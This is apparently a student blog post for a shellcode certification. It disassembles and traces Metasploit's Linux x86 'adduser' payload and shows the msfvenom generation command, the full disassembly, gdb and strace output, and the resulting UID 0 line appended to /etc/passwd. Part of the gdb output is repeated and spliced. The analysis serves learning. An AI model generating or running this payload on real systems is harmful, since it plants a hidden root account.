Linux/x86 msfvenom add user shellcode analysis

Lets take up another shellcode from msfvenom. we will take up payloads/linux/x86/adduser for analysis. Lets see the payload options available.

root@kali:~# msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>
    vlad902 <vlad902@gmail.com>
    spoonm <spoonm@no$email.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0

We see that it takes two parameter , USER and PASS . lets pipe the raw shellcode to ndisasm for analysis.

root@kali:~# msfvenom -p linux/x86/adduser USER=goutham PASS=goutham -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 94 bytes

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E825000000        call 0x50
0000002B  676F              a16 outsd
0000002D  7574              jnz 0xa3
0000002F  68616D3A41        push dword 0x413a6d61
00000034  7A51              jpe 0x87
00000036  7945              jns 0x7d
00000038  50                push eax
00000039  754E              jnz 0x89
0000003B  306533            xor [ebp+0x33],ah
0000003E  7955              jns 0x95
00000040  3A30              cmp dh,[eax]
00000042  3A30              cmp dh,[eax]
00000044  3A3A              cmp bh,[edx]
00000046  2F                das
00000047  3A2F              cmp ch,[edi]
00000049  62696E            bound ebp,[ecx+0x6e]
0000004C  2F                das
0000004D  7368              jnc 0xb7
0000004F  0A598B            or bl,[ecx-0x75]
00000052  51                push ecx
00000053  FC                cld
00000054  6A04              push byte +0x4
00000056  58                pop eax
00000057  CD80              int 0x80
00000059  6A01              push byte +0x1
0000005B  58                pop eax
0000005C  CD80              int 0x80

we see there are totally four syscalls. we can recognize last one very easily. its an exit syscall . seems like its just a cleanup operation. lets check out what first syscall is. 0x46 is 70 in decimal. i.e,

root@kali:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h| grep 70
#define __NR_setreuid 70

its setreuid ..according to its man page,

setreuid() sets real and effective user IDs of the calling process.

so since ebx and ecx register is set to 0 before calling interrupt, it is setting  that of root. this helps us in our further task of adding a root user ( we need this privilege to write passwd file).

Second syscall is fairly straight forward, its an open sys call ( 5 )

root@kali:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h| grep 5
#define __NR_open 5
int open(const char *pathname, int flags);

From man page, we can see it takes two argument . first one , file name and second one is the flags defines mode of operation associated . from the shellcode its clear , ebx is pointed to string “/etc//passwd”

0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80

and also , ecx is pushed with value 0x0401(1025) which points out flags set are write and append  http://man7.org/linux/man-pages/man2/open.2.html

since open returns file descriptor of file being operated on . since return value is stored in eax its moved to ebx. next we see some weird instructions .but syscall points out its a  write sys call . (5) lets run the same pgm in gdb and check before interrupt is called for this write syscall.


[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x3 
ECX: 0x40206b ("goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh\nY3Q4j

[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x3 
ECX: 0x40206b ("goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀")
EDX: 0x25 ('%')
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0xbffff2d8 --> 0x0 
ESP: 0xbffff2ac ("/etc//passwd")
EIP: 0x402097 --> 0x16a80cd
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x402093 <code+83>:	cld    
0x402094 <code+84>:	push   0x4
0x402096 <code+86>:	pop    eax
=> 0x402097 <code+87>:	int    0x80
0x402099 <code+89>:	push   0x1
0x40209b <code+91>:	pop    eax
0x40209c <code+92>:	int    0x80
0x40209e <code+94>:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ac ("/etc//passwd")
0004| 0xbffff2b0 ("//passwd")
0008| 0xbffff2b4 ("sswd")
0012| 0xbffff2b8 --> 0x0 
0016| 0xbffff2bc --> 0x40059d (<main+80>:	mov    eax,0x0)
0020| 0xbffff2c0 --> 0x1 
4X̀j

[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x3 
ECX: 0x40206b ("goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀")
EDX: 0x25 ('%')
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0xbffff2d8 --> 0x0 
ESP: 0xbffff2ac ("/etc//passwd")
EIP: 0x402097 --> 0x16a80cd
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x402093 <code+83>:	cld    
0x402094 <code+84>:	push   0x4
0x402096 <code+86>:	pop    eax
=> 0x402097 <code+87>:	int    0x80
0x402099 <code+89>:	push   0x1
0x40209b <code+91>:	pop    eax
0x40209c <code+92>:	int    0x80
0x40209e <code+94>:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ac ("/etc//passwd")
0004| 0xbffff2b0 ("//passwd")
0008| 0xbffff2b4 ("sswd")
0012| 0xbffff2b8 --> 0x0 
0016| 0xbffff2bc --> 0x40059d (<main+80>:	mov    eax,0x0)
0020| 0xbffff2c0 --> 0x1 
1X̀") EDX: 0x25 ('%') ESI: 0xb7faa000 --> 0x1d4d6c EDI: 0x0 EBP: 0xbffff2d8 --> 0x0 ESP: 0xbffff2ac ("/etc//passwd") EIP: 0x402097 --> 0x16a80cd EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x402093 <code+83>: cld 0x402094 <code+84>: push 0x4 0x402096 <code+86>: pop eax => 0x402097 <code+87>: int 0x80 0x402099 <code+89>: push 0x1 0x40209b <code+91>: pop eax 0x40209c <code+92>: int 0x80 0x40209e <code+94>: add BYTE PTR [eax],al [------------------------------------stack-------------------------------------] 0000| 0xbffff2ac ("/etc//passwd") 0004| 0xbffff2b0 ("//passwd") 0008| 0xbffff2b4 ("sswd") 0012| 0xbffff2b8 --> 0x0 0016| 0xbffff2bc --> 0x40059d (<main+80>: mov eax,0x0) 0020| 0xbffff2c0 --> 0x1

from man page for write sys call,

ssize_t write(intfd, const void *buf, size_tcount);

we see just before the sys interrupt , ebx points to file discripter which was returned by earlier open sys call. ecx contains memory location which points to our required line for adding user to /etc/passwd . finally edx contains size. 

Finally exit call is used to exit gracefully. 

with the help of strace , we can see what syscalls are called by our program. we can verify all the syscalls with proper arguments as follows :

root@kali:~/slae_analyze/msf_adduser# strace ./shellcode

write(1, "Shellcode Length:  40\n", 22Shellcode Length:  40
) = 22

setreuid(0, 0)                          = 0
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
write(3, "goutham:AzQyEPuN0e3yU:0:0::/:/bi"..., 37) = 37
exit(3)                                 = ?
+++ exited with 3 +++

lets verify the operation is successful .

root@kali:~/slae_analyze/msf_adduser# cat /etc/passwd | grep goutham

goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh

As we see, our desired user with root privilege is added to the system.

Github repo for code :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

SLAE student ID :  SLAE – 1367